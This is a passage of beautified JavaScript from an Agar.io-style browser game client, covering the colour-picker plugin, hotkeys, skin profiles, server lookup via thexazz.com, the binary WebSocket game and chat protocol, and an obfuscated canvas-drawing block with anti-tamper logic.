  2493.             var environment = $(this).parent().find(".minicolors-input");
  2494.             types.preventDefault();
  2495.             show(environment);
  2496.         }).on("focus.minicolors", ".minicolors-input", function() {
  2497.             var input = $(this);
  2498.             if (input.data("minicolors-initialized")) {
  2499.                 show(input);
  2500.             }
  2501.         }).on("blur.minicolors", ".minicolors-input", function() {
  2502.             var elems;
  2503.             var params;
  2504.             var color;
  2505.             var meterPos;
  2506.             var value;
  2507.             var input = $(this);
  2508.             var settings = input.data("minicolors-settings");
  2509.             if (input.data("minicolors-initialized")) {
  2510.                 elems = settings.keywords ? $.map(settings.keywords.split(","), function(m3) {
  2511.                     return $.trim(m3.toLowerCase());
  2512.                 }) : [];
  2513.                 if ("" !== input.val() && -1 < $.inArray(input.val().toLowerCase(), elems)) {
  2514.                     value = input.val();
  2515.                 } else {
  2516.                     if (_forEach(input.val())) {
  2517.                         color = find(input.val(), true);
  2518.                     } else {
  2519.                         params = extend(input.val(), true);
  2520.                         color = params ? hex2rgb(params) : null;
  2521.                     }
  2522.                     value = null === color ? settings.defaultValue : "rgb" === settings.format ? find(settings.opacity ? "rgba(" + color.r + "," + color.g + "," + color.b + "," + input.attr("data-opacity") + ")" : "rgb(" + color.r + "," + color.g + "," + color.b + ")") : rgb2hex(color);
  2523.                 }
  2524.                 meterPos = settings.opacity ? input.attr("data-opacity") : 1;
  2525.                 if ("transparent" === value.toLowerCase()) {
  2526.                     meterPos = 0;
  2527.                 }
  2528.                 input.closest(".minicolors").find(".minicolors-swatch > span").css("opacity", meterPos);
  2529.                 input.val(value);
  2530.                 if ("" === input.val()) {
  2531.                     input.val(parseHex(settings.defaultValue, true));
  2532.                 }
  2533.                 input.val(convertCase(input.val(), settings.letterCase));
  2534.             }
  2535.         }).on("keydown.minicolors", ".minicolors-input", function(event) {
  2536.             var input = $(this);
  2537.             if (input.data("minicolors-initialized")) {
  2538.                 switch (event.keyCode) {
  2539.                     case 9:
  2540.                         hide();
  2541.                         break;
  2542.                     case 13:
  2543.                         ;
  2544.                     case 27:
  2545.                         hide();
  2546.                         input.blur();
  2547.                 }
  2548.             }
  2549.         }).on("keyup.minicolors", ".minicolors-input", function() {
  2550.             var input = $(this);
  2551.             if (input.data("minicolors-initialized")) {
  2552.                 updateFromInput(input, true);
  2553.             }
  2554.         }).on("paste.minicolors", ".minicolors-input", function() {
  2555.             var input = $(this);
  2556.             if (input.data("minicolors-initialized")) {
  2557.                 setTimeout(function() {
  2558.                     updateFromInput(input, true);
  2559.                 }, 1);
  2560.             }
  2561.         });
  2562.     }), -1 < navigator.userAgent.toLowerCase().indexOf("firefox")) {
  2563.     throw Error();
  2564. }
  2565. var PRIVATE_SERVER_IP = "__";
  2566. var UI;
  2567. var nodeList = [];
  2568. var chatRoom = null;
  2569. var minimap = null;
  2570. var socket = null;
  2571. var currentIP = "";
  2572. var conn = null;
  2573. var updateLBCount = 0;
  2574. var tmpTeamname = "";
  2575. var defaultImage = new Image;
  2576. defaultImage.src = "";
  2577. var customSkin = {
  2578.     "": defaultImage
  2579. };
  2580. var isJoinedGame = false;
  2581. var hotkeyConfig = {};
  2582. var hotkeyMapping = {};
  2583. var defaultHotkeyMapping = {};
  2584. var selectedHotkeyRow;
  2585. var chatCommand = {};
  2586. var isWindowFocus = true;
  2587. var skinDownloadQueue = [];
  2588. var skinDownloadFail = {};
  2589. var toastQueue = [];
  2590. var defaultSkin = "";
  2591. var gm;
  2592. var defaultHotkeyMessageSend = {
  2593.     input_hk_send_msg1: "Need backup!",
  2594.     input_hk_send_msg2: "Need a teammate!",
  2595.     input_hk_send_msg3: "Pop him!",
  2596.     input_hk_send_msg4: "We need to run!",
  2597.     input_hk_send_msg5: "Tricksplit!",
  2598.     input_hk_send_msg6: "Lets bait! ",
  2599.     input_hk_send_msg7: "Split into me!",
  2600.     input_hk_send_msg8: "Feed me!",
  2601.     input_hk_send_msg9: "Tank the virus!",
  2602.     input_hk_send_msg10: "Roger that!"
  2603. };
  2604. var xazIcon = {};
  2605. var selected_profile = 0;
  2606. var player_profile = [{
  2607.     name: "Profile 1",
  2608.     team: "",
  2609.     skinurl: "https://i.imgur.com/U62zIEB.png"
  2610. }, {
  2611.     name: "Profile 2",
  2612.     team: "",
  2613.     skinurl: "https://i.imgur.com/MJHdanl.png"
  2614. }, {
  2615.     name: "Profile 3",
  2616.     team: "",
  2617.     skinurl: "https://i.imgur.com/U62zIEB.png"
  2618. }, {
  2619.     name: "Profile 4",
  2620.     team: "",
  2621.     skinurl: "https://i.imgur.com/MJHdanl.png"
  2622. }, {
  2623.     name: "Profile 5",
  2624.     team: "",
  2625.     skinurl: "https://i.imgur.com/U62zIEB.png"
  2626. }, {
  2627.     name: "Profile 6",
  2628.     team: "",
  2629.     skinurl: "https://i.imgur.com/MJHdanl.png"
  2630. }, {
  2631.     name: "Profile 7",
  2632.     team: "",
  2633.     skinurl: "http://i.imgur.com/U62zIEB.jpg"
  2634. }, {
  2635.     name: "Profile 8",
  2636.     team: "",
  2637.     skinurl: "http://i.imgur.com/MJHdanl.jpg"
  2638. }, {
  2639.     name: "Profile 9",
  2640.     team: "",
  2641.     skinurl: "http://i.imgur.com/U62zIEB.png"
  2642. }, {
  2643.     name: "Profile 10",
  2644.     team: "",
  2645.     skinurl: "https://i.imgur.com/MJHdanl.png"
  2646. }];
  2647. UI = new UI, UI.init();
  2648. var playerDetailsByIdentifier = {};
  2649. var playerDetailsByNick = {};
  2650. var announcementSent = false;
  2651. ! function(self, jQuery) {
  2652.     function init() {
  2653.         Ze = true;
  2654.         cnv = cv = document.getElementById("canvas");
  2655.         document.getElementById("overlays2").onmousemove = function(e) {
  2656.             x = e.clientX;
  2657.             y = e.clientY;
  2658.             paint();
  2659.         };
  2660.         context = cnv.getContext("2d");
  2661.         if (/firefox/i.test(navigator.userAgent)) {
  2662.             document.addEventListener("DOMMouseScroll", onDocumentMouseScroll, false);
  2663.         } else {
  2664.             document.body.onmousewheel = onDocumentMouseScroll;
  2665.         }
  2666.         var ne = false;
  2667.         var n = false;
  2668.         var elm = false;
  2669.         self.onkeydown = function(event) {
  2670.             if (32 == event.keyCode) {
  2671.                 if (!chatRoom.isFocus()) {
  2672.                     if (!ne) {
  2673.                         reset();
  2674.                         emit(17);
  2675.                         ne = true;
  2676.                     }
  2677.                 }
  2678.             }
  2679.             if (81 == event.keyCode) {
  2680.                 if (!n) {
  2681.                     emit(18);
  2682.                     n = true;
  2683.                 }
  2684.             }
  2685.             if (87 == event.keyCode) {
  2686.                 if (!chatRoom.isFocus()) {
  2687.                     if (!elm) {
  2688.                         reset();
  2689.                         emit(21);
  2690.                         elm = true;
  2691.                     }
  2692.                 }
  2693.             }
  2694.             if (isJoinedGame && !$("#overlays").is(":visible") || spectateMode) {
  2695.                 if (27 == event.keyCode) {
  2696.                     event.preventDefault();
  2697.                     focus(300);
  2698.                 }
  2699.             } else {
  2700.                 if (27 == event.keyCode) {
  2701.                     event.preventDefault();
  2702.                     $(".btn-play").trigger("click");
  2703.                 }
  2704.             }
  2705.         };
  2706.         self.onkeyup = function(event) {
  2707.             if (32 == event.keyCode) {
  2708.                 ne = false;
  2709.             }
  2710.             if (87 == event.keyCode) {
  2711.                 elm = false;
  2712.             }
  2713.             if (81 == event.keyCode) {
  2714.                 if (n) {
  2715.                     emit(19);
  2716.                     n = false;
  2717.                 }
  2718.             }
  2719.         };
  2720.         self.onblur = function() {
  2721.             emit(19);
  2722.             elm = n = ne = false;
  2723.         };
  2724.         self.onresize = update;
  2725.         self.requestAnimationFrame(which);
  2726.         setInterval(reset, 42);
  2727.         focus(0);
  2728.         update();
  2729.     }
  2730.  
  2731.     function onDocumentMouseScroll(event) {
  2732.         if (UI.isEnableZoom) {
  2733.             text *= Math.pow(UI.getZoomSpeed(), event.wheelDelta / -120 || (event.detail || 0));
  2734.             if (UI.getZoomLimit() > text) {
  2735.                 text = UI.getZoomLimit();
  2736.             }
  2737.             if (text > 1 / scale) {
  2738.                 text = 1 / scale;
  2739.             }
  2740.         }
  2741.     }
  2742.  
  2743.     function bind(type) {
  2744.         var p = null;
  2745.         if (0 < simpleExpected.playerCells().length) {
  2746.             p = simpleExpected.playerCells()[0];
  2747.             p = p.name + p.color;
  2748.         }
  2749.         var xs = jQuery("#skin_url").val();
  2750.         if (-1 != xs.indexOf("!!")) {
  2751.             try {
  2752.                 atob(xs.slice(2));
  2753.             } catch (i) {}
  2754.         }
  2755.         return {
  2756.             displayName: jQuery("#nick").val(),
  2757.             action: type,
  2758.             socketRoom: UI.getRoom(),
  2759.             identifier: p,
  2760.             url: UI.getCustomSkinUrl(),
  2761.             nick: jQuery("#nick").val(),
  2762.             team: jQuery("#team_name").val(),
  2763.             token: UI.getCurrentServer()
  2764.         };
  2765.     }
  2766.  
  2767.     function resolve() {
  2768.         if (!announcementSent) {
  2769.             if (0 < simpleExpected.playerCells().length) {
  2770.                 announcementSent = true;
  2771.                 var data = bind("join");
  2772.                 playerDetailsByIdentifier[data.identifier] = data;
  2773.                 playerDetailsByNick[data.nick] = data;
  2774.                 conn.emit("playerEntered", data);
  2775.             } else {
  2776.                 setTimeout(resolve, 100);
  2777.             }
  2778.         }
  2779.     }
  2780.  
  2781.     function paint() {
  2782.         if (UI.isStopMovement) {
  2783.             minX = chunk;
  2784.             t = loc;
  2785.         } else {
  2786.             minX = (x - width / 2) / scale + centerX;
  2787.             t = (y - height / 2) / scale + centerY;
  2788.         }
  2789.     }
  2790.  
  2791.     function _init() {
  2792.         jQuery("#overlays").hide();
  2793.         jQuery("#stats").hide();
  2794.         from = to = false;
  2795.     }
  2796.  
  2797.     function focus(outstandingDataSize) {
  2798.         if (!to) {
  2799.             if (!from) {
  2800.                 b = null;
  2801.                 if (1E3 > outstandingDataSize) {
  2802.                     newEnd = 1;
  2803.                 }
  2804.                 to = true;
  2805.                 jQuery("#mainPanel").show();
  2806.                 jQuery("#overlays").show();
  2807.             }
  2808.         }
  2809.     }
  2810.  
  2811.     function _(key) {
  2812.         return self.i18n[key] || (self.i18n_dict.en[key] || key);
  2813.     }
  2814.  
  2815.     function next() {
  2816.         var i = ++last;
  2817.         jQuery.ajax("http://thexazz.com", {
  2818.             error: function() {
  2819.                 setTimeout(next, 1E3);
  2820.             },
  2821.             success: function(data) {
  2822.                 if ("" != c && data.ip != c) {
  2823.                     next();
  2824.                 } else {
  2825.                     if (i == last) {
  2826.                         if (data.alert) {
  2827.                             alert(data.alert);
  2828.                         }
  2829.                         open("ws://" + data.ip, data.token);
  2830.                     }
  2831.                 }
  2832.             },
  2833.             dataType: "json",
  2834.             method: "POST",
  2835.             cache: false,
  2836.             crossDomain: true,
  2837.             data: (value + index || "?") + "\n154669603"
  2838.         });
  2839.     }
  2840.  
  2841.     function send() {
  2842.         if (Ze) {
  2843.             if (value) {
  2844.                 jQuery("#connecting").show();
  2845.                 next();
  2846.             }
  2847.         }
  2848.     }
  2849.  
  2850.     function open(url, a) {
  2851.         if (currentIP = url, ws) {
  2852.             ws.onopen = null;
  2853.             ws.onmessage = null;
  2854.             ws.onclose = null;
  2855.             try {
  2856.                 ws.close();
  2857.             } catch (o) {}
  2858.             ws = null;
  2859.         }
  2860.         if (dst.ip && (url = "ws://" + dst.ip), null != save) {
  2861.             var callback = save;
  2862.             save = function() {
  2863.                 callback(a);
  2864.             };
  2865.         }
  2866.         result = [];
  2867.         data = [];
  2868.         queue = {};
  2869.         list = [];
  2870.         siblings = [];
  2871.         users = [];
  2872.         img = angles = null;
  2873.         closingAnimationTime = 0;
  2874.         matchEnd = false;
  2875.         ws = new WebSocket(url);
  2876.         this.countdown=3600;
  2877.         window.webSocket = ws;
  2878.         ws.binaryType = "arraybuffer";
  2879.         ws.onopen = function() {
  2880.             var buf;
  2881.             console.log("Socket Open");
  2882.             $("#latency_info").show();
  2883.             buf = encode(5);
  2884.             buf.setUint8(0, 254);
  2885.             buf.setUint32(1, 5, true);
  2886.             cb(buf);
  2887.             buf = encode(5);
  2888.             buf.setUint8(0, 255);
  2889.             buf.setUint32(1, 154669603, true);
  2890.             cb(buf);
  2891.             buf.setUint8(0, 80);
  2892.             var i = 0;
  2893.             cb(buf);
  2894.             oncomplete();
  2895.         };
  2896.         ws.onmessage = onmessage;
  2897.         ws.onclose = listener;
  2898.         ws.onerror = function() {
  2899.             console.log("Socket Error");
  2900.             connectionError();
  2901.         };
  2902.     }
  2903.  
  2904.     function encode(expectedNumberOfNonCommentArgs) {
  2905.         return new DataView(new ArrayBuffer(expectedNumberOfNonCommentArgs));
  2906.     }
  2907.  
  2908.     function cb(s) {
  2909.         fx++;
  2910.         ws.send(s.buffer);
  2911.     }
  2912.  
  2913.     function listener() {
  2914.         if (matchEnd) {
  2915.             backoff = 500;
  2916.         }
  2917.         console.log("Server Restart!");
  2918.         serverRestart();
  2919.         setTimeout(function() {
  2920.             setTimeout(function() {
  2921.                 if (!data()) {
  2922.                     UI.play();
  2923.                 }
  2924.             }, 2 * duration);
  2925.         }, duration);
  2926.         duration *= 2;
  2927.     }
  2928.     function onmessage(a) {
  2929.         parse(new DataView(a.data));
  2930.     }
  2931.  
  2932.     function parse(view) {
  2933.         function encode() {
  2934.             var str = "";
  2935.             for (;;) {
  2936.                 var b = view.getUint16(offset, true);
  2937.                 if (offset += 2, 0 == b) {
  2938.                     break;
  2939.                 }
  2940.                 str += String.fromCharCode(b);
  2941.             }
  2942.             return str;
  2943.         }
  2944.         clockseq++;
  2945.         var offset = 0;
  2946.         switch (240 == view.getUint8(offset) && (offset += 5), view.getUint8(offset++)) {
  2947.             case 16:
  2948.                 fn(view, offset);
  2949.                 break;
  2950.             case 17:
  2951.                 chunk = view.getFloat32(offset, true);
  2952.                 offset += 4;
  2953.                 loc = view.getFloat32(offset, true);
  2954.                 offset += 4;
  2955.                 var col = view.getFloat32(offset, true);
  2956.                 column = col;
  2957.                 if (!UI.isEnableLockZoom) {
  2958.                     crashed = col;
  2959.                 }
  2960.                 offset += 4;
  2961.                 break;
  2962.             case 18:
  2963.                 result = [];
  2964.                 data = [];
  2965.                 queue = {};
  2966.                 list = [];
  2967.                 break;
  2968.             case 20:
  2969.                 data = [];
  2970.                 result = [];
  2971.                 break;
  2972.             case 21:
  2973.                 fragment = view.getInt16(offset, true);
  2974.                 offset += 2;
  2975.                 m = view.getInt16(offset, true);
  2976.                 offset += 2;
  2977.                 if (!Xe) {
  2978.                     Xe = true;
  2979.                     node = fragment;
  2980.                     n = m;
  2981.                 }
  2982.                 break;
  2983.             case 32:
  2984.                 result.push(view.getUint32(offset, true));
  2985.                 offset += 4;
  2986.                 break;
  2987.             case 49:
  2988.                 if (null != angles) {
  2989.                     break;
  2990.                 }
  2991.                 col = view.getUint32(offset, true);
  2992.                 offset += 4;
  2993.                 users = [];
  2994.                 var arg = 0;
  2995.                 for (; col > arg; ++arg) {
  2996.                     var matches = view.getUint32(offset, true);
  2997.                     offset += 4;
  2998.                     users.push({
  2999.                         id: matches,
  3000.                         name: encode()
  3001.                     });
  3002.                 }
  3003.                 break;
  3004.             case 50:
  3005.                 angles = [];
  3006.                 col = view.getUint32(offset, true);
  3007.                 offset += 4;
  3008.                 arg = 0;
  3009.                 for (; col > arg; ++arg) {
  3010.                     angles.push(view.getFloat32(offset, true));
  3011.                     offset += 4;
  3012.                 }
  3013.                 break;
  3014.             case 64:
  3015.                 col = view.getFloat64(offset, true);
  3016.                 offset += 8;
  3017.                 arg = view.getFloat64(offset, true);
  3018.                 offset += 8;
  3019.                 matches = view.getFloat64(offset, true);
  3020.                 offset += 8;
  3021.                 var current = view.getFloat64(offset, true);
  3022.                 offset += 8;
  3023.                 if (inArray(matches - col, current - arg)) {
  3024.                     right = col;
  3025.                     top = arg;
  3026.                     left = matches;
  3027.                     computed = current;
  3028.                 } else {
  3029.                     if (inArray(col, layers)) {
  3030.                         if (matches - stack > 0.01 || -0.01 > matches - stack) {
  3031.                             right = col;
  3032.                             left = col + 14142.135623730952;
  3033.                         }
  3034.                     }
  3035.                     if (col - layers > 0.01 || -0.01 > col - layers) {
  3036.                         if (inArray(matches, stack)) {
  3037.                             left = matches;
  3038.                             right = matches - 14142.135623730952;
  3039.                         }
  3040.                     }
  3041.                     if (arg - dependencies > 0.01 || -0.01 > arg - dependencies) {
  3042.                         if (inArray(current, before)) {
  3043.                             computed = current;
  3044.                             top = current - 14142.135623730952;
  3045.                         }
  3046.                     }
  3047.                     if (inArray(arg, dependencies)) {
  3048.                         if (current - before > 0.01 || -0.01 > current - before) {
  3049.                             top = arg;
  3050.                             computed = arg + 14142.135623730952;
  3051.                         }
  3052.                     }
  3053.                     if (right > col) {
  3054.                         right = col;
  3055.                         left = col + 14142.135623730952;
  3056.                     }
  3057.                     if (matches > left) {
  3058.                         left = matches;
  3059.                         right = matches - 14142.135623730952;
  3060.                     }
  3061.                     if (top > arg) {
  3062.                         top = arg;
  3063.                         computed = arg + 14142.135623730952;
  3064.                     }
  3065.                     if (current > computed) {
  3066.                         computed = current;
  3067.                         top = current - 14142.135623730952;
  3068.                     }
  3069.                     layers = col;
  3070.                     dependencies = arg;
  3071.                     before = current;
  3072.                     stack = matches;
  3073.                 }
  3074.                 UI.afterGameLoaded();
  3075.                 break;
  3076.             case 81:
  3077.                 var length = view.getUint32(offset, true);
  3078.                 offset += 4;
  3079.                 var bytes = view.getUint32(offset, true);
  3080.                 offset += 4;
  3081.                 var index = view.getUint32(offset, true);
  3082.                 offset += 4;
  3083.                 setTimeout(function() {
  3084.                     start({
  3085.                         d: length,
  3086.                         e: bytes,
  3087.                         c: index
  3088.                     });
  3089.                 }, 1200);
  3090.                 break;
  3091.             case 99:
  3092.                 function readFile() {
  3093.                     var str = '',
  3094.                         b;
  3095.                     while ((b = view.getUint16(offset, true)) != 0) {
  3096.                         offset += 2;
  3097.                         str += String.fromCharCode(b)
  3098.                     };
  3099.                     offset += 2;
  3100.                     return str
  3101.                 }
  3102.                 var _0x28826 = false;
  3103.                 var _0x28881 = false;
  3104.                 var _0x28A48 = '';
  3105.                 var _0x28AA3 = '#000000';
  3106.                 var _0x287CB = view.getUint8(offset++);
  3107.                 if (_0x287CB & 2) {
  3108.                     offset += 4
  3109.                 };
  3110.                 if (_0x287CB & 4) {
  3111.                     offset += 8
  3112.                 };
  3113.                 if (_0x287CB & 8) {
  3114.                     offset += 16
  3115.                 };
  3116.                 if (_0x287CB & 0x40) {
  3117.                     _0x28881 = true;
  3118.                     _0x28A48 = '[ADMIN]';
  3119.                     _0x28AA3 = '#ff2222'
  3120.                 };
  3121.                 var _0x28AFE = 0;
  3122.                 if (_0x287CB & 0x20) {
  3123.                     _0x28AFE = 1
  3124.                 };
  3125.                 if (_0x287CB & 0x10) {
  3126.                     _0x28826 = true;
  3127.                     _0x28A48 = '[MOD]';
  3128.                     _0x28AA3 = '#00a0ff'
  3129.                 };
  3130.                 if (!_0x28881 || !_0x28826) {
  3131.                     var _0x26A4A = view.getUint8(offset++);
  3132.                     var _0x26994 = view.getUint8(offset++);
  3133.                     var _0x22FA3 = view.getUint8(offset++)
  3134.                 };
  3135.                 color = (_0x26A4A << 16 | _0x26994 << 8 | _0x22FA3).toString(16);
  3136.                 while (color.length < 6) {
  3137.                     color = '0' + color
  3138.                 };
  3139.                 color = '#' + color;
  3140.                 var _0x24996 = readFile();
  3141.                 var _0x286BA = readFile();
  3142.                 var _0x28715 = {};
  3143.                 if (_0x28AFE) {
  3144.                     extraBytes = readFile();
  3145.                     try {
  3146.                         _0x28715 = JSON.parse(extraBytes);
  3147.                     } catch (e) {}
  3148.                 };
  3149.                 chatRoom.receiveMessage(_0x24996, _0x286BA, color);
  3150.                 break;
  3151.         }
  3152.     }
  3153.  
  3154.     function fn(view, offset) {
  3155.         function readFile() {
  3156.             var str = "";
  3157.             for (;;) {
  3158.                 var b = view.getUint16(offset, true);
  3159.                 if (offset += 2, 0 == b) {
  3160.                     break;
  3161.                 }
  3162.                 str += String.fromCharCode(b);
  3163.             }
  3164.             return str;
  3165.         }
  3166.  
  3167.         function getString() {
  3168.             var str = "";
  3169.             for (;;) {
  3170.                 var b = view.getUint8(offset++);
  3171.                 if (0 == b) {
  3172.                     break;
  3173.                 }
  3174.                 str += String.fromCharCode(b);
  3175.             }
  3176.             return str;
  3177.         }
  3178.         min = max = Date.now();
  3179.         if (!matchEnd) {
  3180.             matchEnd = true;
  3181.             stop();
  3182.         }
  3183.         Ee = false;
  3184.         var id = view.getUint16(offset, true);
  3185.         offset += 2;
  3186.         var key = 0;
  3187.         for (; id > key; ++key) {
  3188.             var node = queue[view.getUint32(offset, true)];
  3189.             var obj = queue[view.getUint32(offset + 4, true)];
  3190.             offset += 8;
  3191.             if (node) {
  3192.                 if (obj) {
  3193.                     obj.R();
  3194.                     obj.o = obj.x;
  3195.                     obj.p = obj.y;
  3196.                     obj.n = obj.size;
  3197.                     obj.C = node.x;
  3198.                     obj.D = node.y;
  3199.                     obj.m = obj.size;
  3200.                     obj.K = max;
  3201.                     setData(node, obj);
  3202.                 }
  3203.             }
  3204.         }
  3205.         key = 0;
  3206.         for (; id = view.getUint32(offset, true), offset += 4, 0 != id;) {
  3207.             ++key;
  3208.             var m;
  3209.             node = view.getInt32(offset, true);
  3210.             offset += 4;
  3211.             obj = view.getInt32(offset, true);
  3212.             offset += 4;
  3213.             m = view.getInt16(offset, true);
  3214.             offset += 2;
  3215.             var item = view.getUint8(offset++);
  3216.             var value = view.getUint8(offset++);
  3217.             var T = view.getUint8(offset++);
  3218.             value = flush(item << 16 | value << 8 | T);
  3219.             T = view.getUint8(offset++);
  3220.             var el = !!(1 & T);
  3221.             var j = !!(16 & T);
  3222.             var comment = null;
  3223.             if (2 & T) {
  3224.                 offset += 4 + view.getUint32(offset, true);
  3225.             }
  3226.             if (4 & T) {
  3227.                 comment = getString();
  3228.             }
  3229.             var input = readFile();
  3230.             item = null;
  3231.             if (queue.hasOwnProperty(id)) {
  3232.                 item = queue[id];
  3233.                 item.J();
  3234.                 item.o = item.x;
  3235.                 item.p = item.y;
  3236.                 item.n = item.size;
  3237.                 item.color = value;
  3238.             } else {
  3239.                 item = new set(id, node, obj, m, value, input);
  3240.                 list.push(item);
  3241.                 queue[id] = item;
  3242.                 item.ia = node;
  3243.                 item.ja = obj;
  3244.             }
  3245.             item.f = el;
  3246.             item.j = j;
  3247.             item.C = node;
  3248.             item.D = obj;
  3249.             item.m = m;
  3250.             item.K = max;
  3251.             item.T = T;
  3252.             if (comment) {
  3253.                 item.V = comment;
  3254.             }
  3255.             if (input) {
  3256.                 item.t(input);
  3257.             }
  3258.             if (-1 != result.indexOf(id)) {
  3259.                 if (-1 == data.indexOf(item)) {
  3260.                     data.push(item);
  3261.                     if (1 == data.length) {
  3262.                         centerX = item.x;
  3263.                         centerY = item.y;
  3264.                         removeEventListener();
  3265.                         document.getElementById("overlays").style.display = "none";
  3266.                         a = [];
  3267.                         pauseText = 0;
  3268.                         col = data[0].color;
  3269.                         Bt = true;
  3270.                         near = Date.now();
  3271.                         count = path = name = 0;
  3272.                     }
  3273.                 }
  3274.             }
  3275.         }
  3276.         node = view.getUint32(offset, true);
  3277.         offset += 4;
  3278.         key = 0;
  3279.         for (; node > key; key++) {
  3280.             id = view.getUint32(offset, true);
  3281.             offset += 4;
  3282.             item = queue[id];
  3283.             if (null != item) {
  3284.                 item.R();
  3285.             }
  3286.         }
  3287.         if (Ee) {
  3288.             if (0 == data.length) {
  3289.                 UI.onDead();
  3290.                 far = Date.now();
  3291.                 Bt = false;
  3292.                 if (!to) {
  3293.                     if (!from) {
  3294.                         if (connected) {
  3295.                             DrawPolyline();
  3296.                             from = true;
  3297.                             jQuery("#overlays").show();
  3298.                             jQuery("#stats").show();
  3299.                         } else {
  3300.                             focus(1500);
  3301.                         }
  3302.                     }
  3303.                 }
  3304.             }
  3305.         }
  3306.     }
  3307.  
  3308.     function stop() {
  3309.         c = "";
  3310.         jQuery("#connecting").hide();
  3311.         writeUTFBytes();
  3312.         if (save) {
  3313.             save();
  3314.             save = null;
  3315.         }
  3316.         if (null != tref) {
  3317.             clearTimeout(tref);
  3318.         }
  3319.         tref = setTimeout(function() {
  3320.             if (self.ga) {
  3321.                 ++millis;
  3322.                 self.ga("set", "dimension2", millis);
  3323.             }
  3324.         }, 1E4);
  3325.     }
  3326.  
  3327.     function reset() {
  3328.         if (!UI.isStopMovement && handler()) {
  3329.             var x0 = x - width / 2;
  3330.             var x1 = y - height / 2;
  3331.             if (!(64 > x0 * x0 + x1 * x1)) {
  3332.                 if (!(0.01 > Math.abs(maxX - minX) && 0.01 > Math.abs(t1 - t))) {
  3333.                     maxX = minX;
  3334.                     t1 = t;
  3335.                     x0 = encode(13);
  3336.                     x0.setUint8(0, 16);
  3337.                     x0.setInt32(1, minX, true);
  3338.                     x0.setInt32(5, t, true);
  3339.                     x0.setUint32(9, 0, true);
  3340.                     cb(x0);
  3341.                 }
  3342.             }
  3343.         }
  3344.     }
  3345.  
  3346.     function inArray(arr, array) {
  3347.         return 0.01 > arr - array && arr - array > -0.01;
  3348.     }
  3349.  
  3350.     function writeUTFBytes() {
  3351.         if (handler() && (matchEnd && null != b)) {
  3352.             var buf = encode(1 + 2 * b.length);
  3353.             buf.setUint8(0, 0);
  3354.             var bi = 0;
  3355.             for (; bi < b.length; ++bi) {
  3356.                 buf.setUint16(1 + 2 * bi, b.charCodeAt(bi), true);
  3357.             }
  3358.             cb(buf);
  3359.             b = null;
  3360.         }
  3361.     }
  3362.  
  3363.     function handler() {
  3364.         return null != ws && ws.readyState == ws.OPEN;
  3365.     }
  3366.  
  3367.     function emit(expectedNumberOfNonCommentArgs) {
  3368.         if (handler()) {
  3369.             var buf = encode(1);
  3370.             buf.setUint8(0, expectedNumberOfNonCommentArgs);
  3371.             cb(buf);
  3372.         }
  3373.     }
  3374.  
  3375.     function oncomplete() {
  3376.         if (handler() && null != window.userToken) {
  3377.             var buf = encode(2 + userToken.length);
  3378.             buf.setUint8(0, 82);
  3379.             buf.setUint8(1, 1);
  3380.             var i = 0;
  3381.             for (; i < window.userToken.length; ++i) {
  3382.                 buf.setUint8(i + 2, window.userToken.charCodeAt(i));
  3383.             }
  3384.             cb(buf);
  3385.         }
  3386.     }
  3387.  
  3388.     function update() {
  3389.         width = 1 * self.innerWidth;
  3390.         height = 1 * self.innerHeight;
  3391.         cv.width = cnv.width = width;
  3392.         cv.height = cnv.height = height;
  3393.         var child = jQuery("#helloContainer");
  3394.         child.css("transform", "none");
  3395.         var b = child.height();
  3396.         var a = self.innerHeight;
  3397.         if (b > a / 1.1) {
  3398.             child.css("transform", "translate(-50%, -50%) scale(" + a / b / 1.1 + ")");
  3399.         } else {
  3400.             child.css("transform", "translate(-50%, -50%)");
  3401.         }
  3402.         render();
  3403.     }
  3404.     var _0x2c27=['\x73\x74\x72\x6f\x6b\x65','\x6c\x69\x6e\x65\x57\x69\x64\x74\x68','\x63\x6c\x6f\x73\x65\x50\x61\x74\x68','\x62\x4e\x61\x66\x62','\x6d\x6f\x76\x65\x54\x6f','\x66\x69\x6c\x6c','\x55\x61\x4a\x51\x57','\x6c\x69\x6e\x65\x54\x6f','\x63\x6f\x73','\x46\x61\x66\x65\x69','\x31\x32\x7c\x30\x7c\x39\x7c\x38\x7c\x32\x7c\x31\x30\x7c\x31\x33\x7c\x34\x7c\x37\x7c\x36\x7c\x31\x7c\x35\x7c\x33\x7c\x31\x31','\x7a\x78\x4e\x45\x4c','\x43\x52\x4b\x4a\x4e','\x6e\x74\x58\x59\x69','\x73\x5a\x6a\x68\x43','\x6d\x61\x54\x64\x74','\x57\x59\x4a\x5a\x76','\x73\x70\x6c\x69\x74','\x73\x74\x72\x6f\x6b\x65\x53\x74\x79\x6c\x65','\x62\x65\x67\x69\x6e\x50\x61\x74\x68','\x66\x69\x6c\x6c\x53\x74\x79\x6c\x65'];(function(_0x2699a9,_0x501e82){var _0x5b6c40=function(_0xa3de42){while(--_0xa3de42){_0x2699a9['push'](_0x2699a9['shift']());}};var _0x5b08bd=function(){var _0x4ef491={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x11657b,_0x26c666,_0x2ad2ff,_0x4cbc11){_0x4cbc11=_0x4cbc11||{};var _0x425aa0=_0x26c666+'='+_0x2ad2ff;var _0x51f58a=0x0;for(var _0x51f58a=0x0,_0x327155=_0x11657b['length'];_0x51f58a<_0x327155;_0x51f58a++){var _0x46f3fa=_0x11657b[_0x51f58a];_0x425aa0+=';\x20'+_0x46f3fa;var _0x44b31e=_0x11657b[_0x46f3fa];_0x11657b['push'](_0x44b31e);_0x327155=_0x11657b['length'];if(_0x44b31e!==!![]){_0x425aa0+='='+_0x44b31e;}}_0x4cbc11['cookie']=_0x425aa0;},'removeCookie':function(){return'dev';},'getCookie':function(_0x58157c,_0x1d33e){_0x58157c=_0x58157c||function(_0x4086cd){return _0x4086cd;};var _0x4880bf=_0x58157c(new RegExp('(?:^|;\x20)'+_0x1d33e['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));var _0x5f7f12=function(_0x11bf85,_0x2a1a7e){_0x11bf85(++_0x2a1a7e);};_0x5f7f12(_0x5b6c40,_0x501e82);return _0x4880bf?decodeURIComponent(_0x4880bf[0x1]):undefined;}};var _0x3717e1=function(){var _0xfdf934=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0xfdf934['test'](_0x4ef491['removeCookie']['toString']());};_0x4ef491['updateCookie']=_0x3717e1;var _0x545a97='';var _0x3d5629=_0x4ef491['updateCookie']();if(!_0x3d5629){_0x4ef491['setCookie'](['*'],'counter',0x1);}else 